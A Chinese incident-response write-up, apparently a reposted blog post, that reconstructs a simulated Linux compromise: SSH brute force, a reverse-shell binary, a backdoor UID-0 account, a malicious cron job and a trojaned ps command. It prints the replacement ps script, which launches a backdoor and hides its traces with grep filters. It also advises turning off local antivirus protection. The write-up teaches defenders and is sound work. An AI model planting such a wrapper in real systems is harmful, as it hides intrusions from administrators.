Linux服务器被入侵后的排查思路(应急响应思路)

news2024/12/23 3:50:27

目录

  • Linux-暴力破解、替换ps命令并留存后门事件复现
    • 一、事件背景
    • 二、应急响应过程
      • 排查crontab后门
      • 排查是否有命令被替换
      • 响应过程回顾
    • 三、事件还原
      • 查看后门
      • 排查安全日志


Linux-暴力破解、替换ps命令并留存后门事件复现


一、事件背景

服务器疑似被入侵,与恶意IP进行通信(恶意IP用192.168.1.132代替)

受害服务器: Centos7系统 IP: 192.168.8.158(无WEB服务)


二、应急响应过程

排查网络连接

  • 查看服务器的网络连接,发现服务器192.168.8.158一直与恶意IP:192.168.1.132的6666端口连接,并且程序名为:.shell.elf

  • netstat -anpt
    在这里插入图片描述

  • 根据PID号查找程序位置: /root/.shell.elf

  • lsof -p 9560
    在这里插入图片描述

  • 查看 .shell.elf 文件的创建时间为:2022-09-05 18:00:06

  • stat .shell.elf
    在这里插入图片描述

  • 之后将 .shell.elf 文件放在微步上检测发现,是后门文件
    在这里插入图片描述在这里插入图片描述

  • 记得关闭本机电脑的实时防护

  • 微步云沙箱
    在这里插入图片描述


排查历史命令

  • 利用history查看是否有黑客执行的命令
    在这里插入图片描述

  • 在 root账户下排查是否有黑客执行的命令

  • cd /root

  • cat .bash_history
    在这里插入图片描述


排查后门账户

  • 查看当前登录系统的用户

  • who

  • 192.168.8.1是我用xshell进行了链接
    在这里插入图片描述在这里插入图片描述

  • 查看特权账户

  • awk -F: '$3==0 {print$1}' /etc/passwd
    在这里插入图片描述

  • 发现有两个特权账户:root、hyf,与客户沟通后确定hyf是黑客创建

  • 再次查看可以远程登录的帐号信息

  • 又有hyf,确定了 hyf 是黑客的后门账户
    在这里插入图片描述

  • 接下来查看用户最近登录情况

  • 发现 hyf 账户在 9月6 日 16:10:36 登录了该服务器(其中IP地址 192.168.1.132 因为是模拟,没有公网地址,所以假设它是恶意IP)
    在这里插入图片描述


排查crontab后门

  • 查看服务器的定时任务
  • cd /var/spool/cron
  • cat root
  • 发现存在root账户的定时任务,每分钟执行一次 /root/shell.elf文件
    在这里插入图片描述

排查是否有命令被替换

  • 检查命令文件是否被替换
  • rpm -Vf /usr/bin/*
  • rpm -Vf /usr/sbin/*
#rpm -Vf /usr/bin/xxx
#S 关键字代表文件大小发生了变化
#M 关键字代表文件的权限发生了变化
#5 关键字代表文件的 md5 值发生了变化
#T 代表文件时间发生了变化
  • 执行命令: rpm -Vf /usr/bin/* 时发现 ps 命令的文件大小、md5 值、时间发生了变化,可能已经被修改
    在这里插入图片描述
  • 查看ps命令内容
  • cd /usr/bin/
  • ll -a ps
  • cat ps
    在这里插入图片描述
  • 查看ps文件内容发现被修改了
#!/bin/bash
/.centos_core.elf & /.hide_command/ps -aux | grep -v "shell" | grep -v "centos_core" | grep -v "bash" | grep -v "/.hide_command"

每次执行ps命令都会执行/.centos_core.elf文件、/.hide_command/ps文件
grep -v的意思是只打印没有匹配的,而匹配的不打印,相当于隐藏shell、centos_core、bash、/.hide_command" 等异常文件信息

  • 查看/.centos_core.elf文件创建时间为:2022-09-06 14:38:00
    在这里插入图片描述

  • 将 .centos_core.elf 文件放在微步云沙箱检测是后门文件
    在这里插入图片描述

  • 而 /.hide_command/ps 文件为正常的ps文件
    在这里插入图片描述在这里插入图片描述
    总结: 存在 ps 命令后门,将正常的ps命令替换,每执行一次ps命令 /.centos_core.elf 后门文件就会被执行一次


响应过程回顾

  • 1、找到后门文件 :/root/.shell.elf 、/.centos_core.elf
  • 2、找到后门账户:hyf
  • 3、找到恶意定时任务
  • 4、ps命令被替留ps命令后门

清除后门文件

  • rm -rf /root/.shell.elf
  • rm -rf /.centos_core.elf

将ps命令删除再将 .hide_command/ps 恢复

  • rm -rf /usr/bin/ps
  • mv /.hide_command/ps /usr/bin/ps

另一种方法文件提取还原案例:

  • rpm -qf /bin/ps 查询 ps 命令属于哪个软件包
  • mv /bin/ps /tmp 先把 ps 转移到 tmp 目录下,造成 ps 命令丢失的假象
  • df 查看光盘挂载位置
  • rpm2cpio /run/media/root/CentOS\ 7\ x86_64/Packages/procps-ng-3.3.10-23.el7.x86_64.rpm | cpio -idv ./usr/bin/ps 提取 rpm 包中 ps 命令到当前目录的 /usr/bin/ps 下
  • cp ./usr/bin/ps /bin/ 把 ps 命令复制到 /bin/ 目录 修复文件丢失

删除后门账户

  • vim /etc/passwdvim编辑passwd文件,按dd删除 hyf 那一行,之后保存并退出

在这里插入图片描述


三、事件还原

查看后门

  • 查看 /root/.shell.elf 文件的创建时间为:2022-09-05 18:00:06
  • stat /root/.shell.elf
    在这里插入图片描述
  • 查看 定时任务 /var/spool/cron/root 文件的创建时间为:2022-09-06 14:48:08
  • stat /var/spool/cron/root
    在这里插入图片描述
  • 查看/.centos_core.elf文件创建时间为:22022-09-06 14:38:00
  • stat /.centos_core.elf
    在这里插入图片描述
  • 查看 ps 命令文件修改时间为:2022-09-06 14:43:31
  • stat /usr/bin/ps
    在这里插入图片描述
    总结: 植入后门的顺序为: .shell.elf 后门、/.centos_core.elf后门、ps命令替换后门、定时任务

排查安全日志

  • 查看secure日志,发现爆破的时间范围是 9.6 14:31:39——14:33:11
    在这里插入图片描述在这里插入图片描述

  • 查看爆破的次数、攻击IP、破的用户名

  • grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c
    在这里插入图片描述

  • 查询被爆破的用户名都有哪些

  • grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr
    在这里插入图片描述

  • 爆破用户名字典是什么

  • grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr
    在这里插入图片描述

  • 查看用户最近登录情况

  • grep "Accepted " /var/log/secure* | awk '{print $1,$2,$3,$9,$11}'
    -

发现 root 账户在9月6 日 14:33:09 登录了该服务器,在爆破的时间范围内(14:31:39——14:33:11) hyf 账户在 9月6 日 16:10:36 登录了该服务器(其中IP地址 192.168.1.132因为是模拟,没有公网地址,所以假设它是恶意IP)

事件总结

黑客在9月6日14:31:39——14:33:11对服务器进行爆破,且在 14:33:09成功爆破出root账户密码并且进行登录,登录之后在9月6日14:37:22 植入了 .shell.elf 后门(根据成功爆破出root账户的时间可知 9月5日18:00:06 为 .shell.elf后门的创建时间,并非植入时间)、在14:38:00 植入了 /.centos_core.elf 后门、在 14:43:31 植入了ps命令后门、在 14:48:08写了恶意定时任务,恶意IP为192.168.1.132

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/5202.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

手眼标定笔记

文章目录基本介绍&#xff1a;坐标系变换运算规则&#xff1a;关系运算说明&#xff1a;坐标系运算规则一&#xff1a;坐标系运算规则二&#xff1a;齐次坐标系&#xff1a;齐次坐标系下的坐标变换&#xff1a;眼在手外&#xff1a;眼在手内&#xff1a;解方程&#xff1a;- Ta…

Spring学习第4篇:Spring 的依赖注入

大家家好&#xff0c;我是一名网络怪咖&#xff0c;北漂五年。相信大家和我一样&#xff0c;都有一个大厂梦&#xff0c;作为一名资深Java选手&#xff0c;深知Spring重要性&#xff0c;现在普遍都使用SpringBoot来开发&#xff0c;面试的时候SpringBoot原理也是经常会问到&…

数据结构 | 单链表

… &#x1f333;&#x1f332;&#x1f331;本文已收录至&#xff1a;数据结构 | C语言 更多知识尽在此专栏中!文章目录&#x1f333;前言&#x1f333;正文&#x1f332;链表打印与销毁&#x1fab4;打印&#x1fab4;销毁&#x1f332;尾部插入与删除&#x1fab4;节点申请&…

javaweb JAVA JSP销售系统购物系统jsp购物系统购物商城系统源码(jsp电子商务系统)网上在线销售

JSP销售系统购物系统jsp购物系统购物商城系统源码&#xff08;jsp电子商务系统&#xff09;网上在线销售

Linux基础 - 虚拟化介绍(KVM)

‍‍&#x1f3e1;博客主页&#xff1a; Passerby_Wang的博客_CSDN博客-系统运维,云计算,Linux基础领域博主 &#x1f310;所属专栏&#xff1a;『Linux基础』 &#x1f30c;上期文章&#xff1a; Linux基础 - 服务管理&#xff08;systemd&#xff09; &#x1f4f0;如觉得博…

爬取医药卫生知识服务系统的药品数据——超详细流程

爬取医药卫生知识服务系统的药品数据——超详细流程 文章目录爬取医药卫生知识服务系统的药品数据——超详细流程前言一、寻找药品数据二、爬取药品ID1.资源获取2.数据提取3.资源保存4.主函数5.总体代码三、爬取药品信息1.加载资源ID2.获取数据3.数据提取4.保存信息5.主函数6.总…

SpringBoot-属性绑定和bean属性校验

目录 属性绑定 自定义类属性绑定 第三方bean属性匹配 规则:松散绑定&#xff08;宽松绑定&#xff09; Bean属性校验 属性绑定 属性绑定&#xff1a;我们可以使用配置文件对类的属性进行赋值绑定。 自定义类属性绑定 我们自定义一个类&#xff0c;在此使用yml文件进行类…

【滤波器】基于matlab实现微波带低通高通带通滤波器设计

✅作者简介&#xff1a;热爱科研的Matlab仿真开发者&#xff0c;修心和技术同步精进&#xff0c;matlab项目合作可私信。 &#x1f34e;个人主页&#xff1a;Matlab科研工作室 &#x1f34a;个人信条&#xff1a;格物致知。 更多Matlab仿真内容点击&#x1f447; 智能优化算法 …

python科研做图系列之雷达图

文章目录参考资料matplotlib库画的复现一个 pyecharts的雷达图尝试在上面的基础上&#xff0c;把pyecharts 导出存为一般的png图尝试在上面的基础上&#xff0c;把pyecharts 导出存为一般的矢量图用pygal画雷达图参考资料 参考知乎 CSDN给出了一些参数 matplotbib库雷达图官网 …

Python实现九九乘法表的几种方式,入门必备案例~超级简单~

前言 嗨喽~大家好呀&#xff0c;这里是魔王呐 ❤ ~! 们在学习Python的过程中需要不断的积累和练习&#xff0c;这样才能够走的更远&#xff0c; 今天一起来学习怎么用Python写九九乘法表~ 第一种方法&#xff1a;for-for 代码&#xff1a; for i in range(1, 10):for j in…

数据挖掘面试经总结【私人版,仅供参考】

1特征归一化 1.1为什么需要对数值类型的特征做归一化&#xff1f; 线性函数归一化零均值归一化 1.2在对数据进行预处理时&#xff0c;应该怎样处理类别型特征&#xff1f; 序号编码独热编码二进制编码 1.3什么是组合特征&#xff1f;如何处理高维组合特征&#xff1f; 例…

【python】云打印实现

这两天为了实现云打印功能找了很多相关的文章 记录一下这一篇&#xff0c;python云打印实现-朝花夕拾&#xff0c;代码通过监听文件夹有无产生新文件来判断是否执行&#xff0c;我尝试运行了下没问题&#xff0c;于是打算转载一下 程序运行结果 由于对方的代码和我实现的有点出…

【Maven】你好,Maven >>> 与Maven的初次见面~

个人主页&#xff1a;.29.的博客 学习社区&#xff1a;进去逛一逛~ 个人简介&#xff1a;Java领域新星创作者&#xff1b;阿里云技术博主、星级博主、专家博主&#xff1b;正在Java学习的道路上摸爬滚打&#xff0c;记录学习的过程~ 与Maven的初次见面~一、了解Maven二、Maven的…

Flink双流join导致数据重复

大家都知道flink sql 中 left join 数据不会互相等待&#xff0c;存在 retract 问题&#xff0c;会导致写入 kafka 的数据量变大&#xff0c;就会导致出现数据重复的问题。 举例&#xff1a;即常见的曝光日志流&#xff08;show_log&#xff09;通过 log_id 关联点击日志流&am…

SQL:数据去重的三种方法

1、使用distinct去重 distinct用来查询不重复记录的条数&#xff0c;用count(distinct id)来返回不重复字段的条数。用法注意&#xff1a; distinct【查询字段】&#xff0c;必须放在要查询字段的开头&#xff0c;即放在第一个参数&#xff1b;只能在SELECT 语句中使用&#…

spring整合fastdfs客户端

解决Dependency ‘com.github.tobato:fastdfs-client:1.27.2’ not found 错误问题。 一、 将fastdfs客户端git下来 git https://github.com/happyfish100/fastdfs-client-java.gitcd fastdfs-client-java然后将fastdfs-client-java构建到本地maven仓库 mvn clean install&…

Pandas的数据结构

Pandas的数据结构 处理CSV 文件 CSV&#xff08;Comma-Separated Values&#xff0c;逗号分隔值&#xff0c;有时也称为字符分隔值&#xff0c;因为分隔字符也可以不是逗号&#xff09;&#xff0c;其文件以纯文本形式存储表格数据&#xff08;数字和文本&#xff09;。 Pan…

【强化学习】深入浅出强化学习--机器人找金币

文章目录Grid_mdp.py定义和初始化从环境状态构建观测值ResetStepRenderingClose注册环境参考文章Grid_mdp.py 定义和初始化 首先自定义环境&#xff0c;自定义的环境将继承gym.env环境。在初始化的时候&#xff0c;可以指定环境支持的渲染模式&#xff08;例如human,rgb_arra…

项目实战 | YOLOv5 + Tesseract-OCR 实现车牌号文本识别

项目实战 | YOLOv5 Tesseract-OCR 实现车牌号文本识别 最近看到了各种各样的车牌识别&#xff0c;觉得挺有意思&#xff0c;自己也简单搞一个玩玩&#x1f63c;。 传统的图像处理算法我也不太会&#xff0c;就直接用深度学习的方法实现吧。 文章目录项目实战 | YOLOv5 Tesser…

docker基础篇——万字解读小鲸鱼

目录 前言 为什么会出现docker&#xff1f; 背景 docker理念 容器和虚拟机比较 容器发展简史 容器虚拟化技术 Why Docker docker的基本组成 镜像(image) 容器(container) 仓库(repository&#xff09; 总结 第一个docker镜像——hello-world run干了什么 …